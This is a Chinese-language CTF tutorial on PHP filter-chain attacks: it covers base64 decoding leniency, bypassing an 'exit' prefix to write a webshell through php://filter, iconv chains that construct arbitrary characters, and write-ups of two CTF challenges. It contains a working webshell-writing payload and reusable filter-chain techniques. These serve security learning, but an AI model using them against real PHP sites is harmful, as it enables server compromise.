文章目录
- BASE64解码和编码原理浅析
- Encoding
- Decoding
- Filterchain构造(原理阐述)
- 回顾死亡代码
- 特性一(双重去杂)
- 特性二(粘合性)
- 任意字符构造
- 工具一
- 工具二
- 实战例题
- [NSSRound#7 Team]brokenFilterChain(理解原理)
- [idekCTF 2022]Paywall
BASE64解码和编码原理浅析
Encoding
Base64编码字符表如下,编码过后的字符只能在下面范围内选(还有等号”=”)
Base64编码是从3->4的编码,也就是从三个字节变成四个字节的过程,假如编码字符总数不是3或者不是3的倍数,空缺部分会用”=”补齐,例如:
rev1ve => cmV2MXZl
rev1ve1 => cmV2MXZlMQ==
这两个例子符合我们所说的规则,第一个由3变成4,第二个是4(不是3的倍数)因此最后字符数字为8,有2个等号进行补齐了,很简单的原理
Decoding
解码也就是编码的逆过程,理所当然就是4->3的过程。而且当我们把补齐的等号去除后,依然可以成功解码,比如cmV2MXZlMQ => rev1ve1
。上面我们提到了有效字符,假如需要解码的字符串中包含无效字符,那么就会忽略掉那些字符,只对有效字符进行解码,这是base64的一个特性,这里叫他宽松性。也就是说cm<?V2MXZl => rev1ve
无效字符不会进行解码,在之前讲的file_put_contents与死亡代码中我们就用到了这一特性
Filterchain构造(原理阐述)
回顾死亡代码
源码
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
当用户通过POST方式提交一个数据时,会与死亡exit进行拼接,从而避免提交的数据被执行。我们
利用编码的方式,将死亡代码解码成乱码来绕过
这里我们以base64编码为例,我们目的是写马<?php eval($_POST['shell']);?>
,将其base64编码一下
txt=PD9waHAgZXZhbCgkX1BPU1RbJ3NoZWxsJ10pOz8+&filename=php://filter/write=convert.base64-decode/resource=1.php
拼接上前面的死亡代码,得到如下
<?php exit; ?>PD9waHAgZXZhbCgkX1BPU1RbJ3NoZWxsJ10pOz8+
但是我们base64解码会发现出现乱码,如何解决呢
由于base64解码是4个字节为一组,那么去除掉不可见字符<? ;
后,我们需要手动添加一个a,组成phpe xita
使得绕过死亡代码
而今天我们要说的filterChain也和iconv中的编码有关。iconv -l可以查看本地的iconv编码
特性一(双重去杂)
我们可以在linux上测试下,demo如下
<?php
$content1=file_get_contents('php://filter/convert.iconv.UTF8.CSISO2022KR/resource=data://,bbb');
$content2=file_get_contents('php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode/resource=data://,bbb');
$content3=file_get_contents('php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://,bbb');
var_dump($content1);
var_dump(bin2hex($content1));
echo "=========================================="."\n";
var_dump($content2);
var_dump(bin2hex($content2));
echo "=========================================="."\n";
var_dump($content3);
var_dump(bin2hex($content3));
?>
运行结果如下
经过从UTF-8->CSISO2022KR后,我们发现长度为7个字节,但是只显示Cbbb。我们拿去解码一下,发现剩下的为不可见字符
在这里就要介绍filter第一个特性了,也就是强制显示(这一点是根据Decoding阶段忽略无效字符得出的)
而第二条数据我们可以看到经过convert.base64-decode后长度为3个字节,因为虽然第一条数据长度为7,但是可见字符长度为4,符合3->4
。
再看第三条数据,解码完再编码结果仍为Cbbb
,也就是说去除了像第一条数据的CSISO2022KR的字符,所以也符合4->3
。这就是去杂,同时还构造出了一个字符C
特性二(粘合性)
测试代码如下
<?php
$content1=file_get_contents("php://filter/convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4/resource=data://,bbb");
$content2=file_get_contents('php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://,bbb');
$content3=file_get_contents('php://filter/convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode/resource=data://,bbb');
var_dump($content1);
var_dump(bin2hex($content1));
echo "=========================================="."\n";
var_dump($content2);
var_dump(bin2hex($content2));
echo "=========================================="."\n";
var_dump($content3);
var_dump(bin2hex($content3));
?>
运行结果
分析一下
- 第一条的输出结果多构造出了个字符1
- 第二条的输出结果是前一个特性中的那条
- 第三条的输出结果是在第二条的基础上再加上第一条的过滤器,得到的结果是在首位构造出了字符1,然后其他的往后推移了一位,这样就把构造出的1和C连接在了一起
那么如果能构造26个字母以及所有数字,是不是理论上就可以通过这个filterchain获取任意的语句了?
这就是粘合性:构造出的字符可以拼贴在一起
任意字符构造
下面推荐两个工具
工具一
地址
使用方法
比如题目要求我们的字符串中的第0个位置出现FREE
为了满足base64解码要求,添加bb组成3的倍数
工具二
地址
我们只需要修改Generator.py中的代码即可
# set your parameter
file_to_use = "flag"
str_to_gerenate = "FREEbb"
然后python Generator.py
即可
实战例题
[NSSRound#7 Team]brokenFilterChain(理解原理)
给了附件,其中encode后面多空格去掉先
然后运行发现报错,我们把最后面的decode去掉
得到一串字符串(说明字符串长度不为4的倍数报错)
NssssCTFeyAgphhpRmlsdGVyQ2hhMW5fW4sS0FunICB9GyQp
我们手动分组
Nsss sCTF eyAg phhp Rmls dGVy Q2hh MW5f W4sS 0Fun ICB9 GyQp
对部分解码
eyAg -> {
phhp
RmlsdGVyQ2hhMW5f -> FilterCha1n_
W4sS0Fun
ICB9-> }
得到flag
NssssCTF{phhpFilterCha1n_W4sS0Fun}
[idekCTF 2022]Paywall
题目是白盒,代码如下
<?php if (isset($_GET['source'])) highlight_file(__FILE__) && die() ?>
<?php
error_reporting(0);
set_include_path('articles/');
if (isset($_GET['p'])) {
$article_content = file_get_contents($_GET['p'], 1);
if (strpos($article_content, 'PREMIUM') === 0) {
die('Thank you for your interest in The idek Times, but this article is only for premium users!'); // TODO: implement subscriptions
}
else if (strpos($article_content, 'FREE') === 0) {
echo "<article>$article_content</article>";
die();
}
else {
die('nothing here');
}
}
?>
//省略部分代码
关键就是如何实现if (strpos($article_content, 'FREE') === 0)
,我们就利用工具二去构造,首先要出现FREE,其次也要满足是3的倍数
得到flag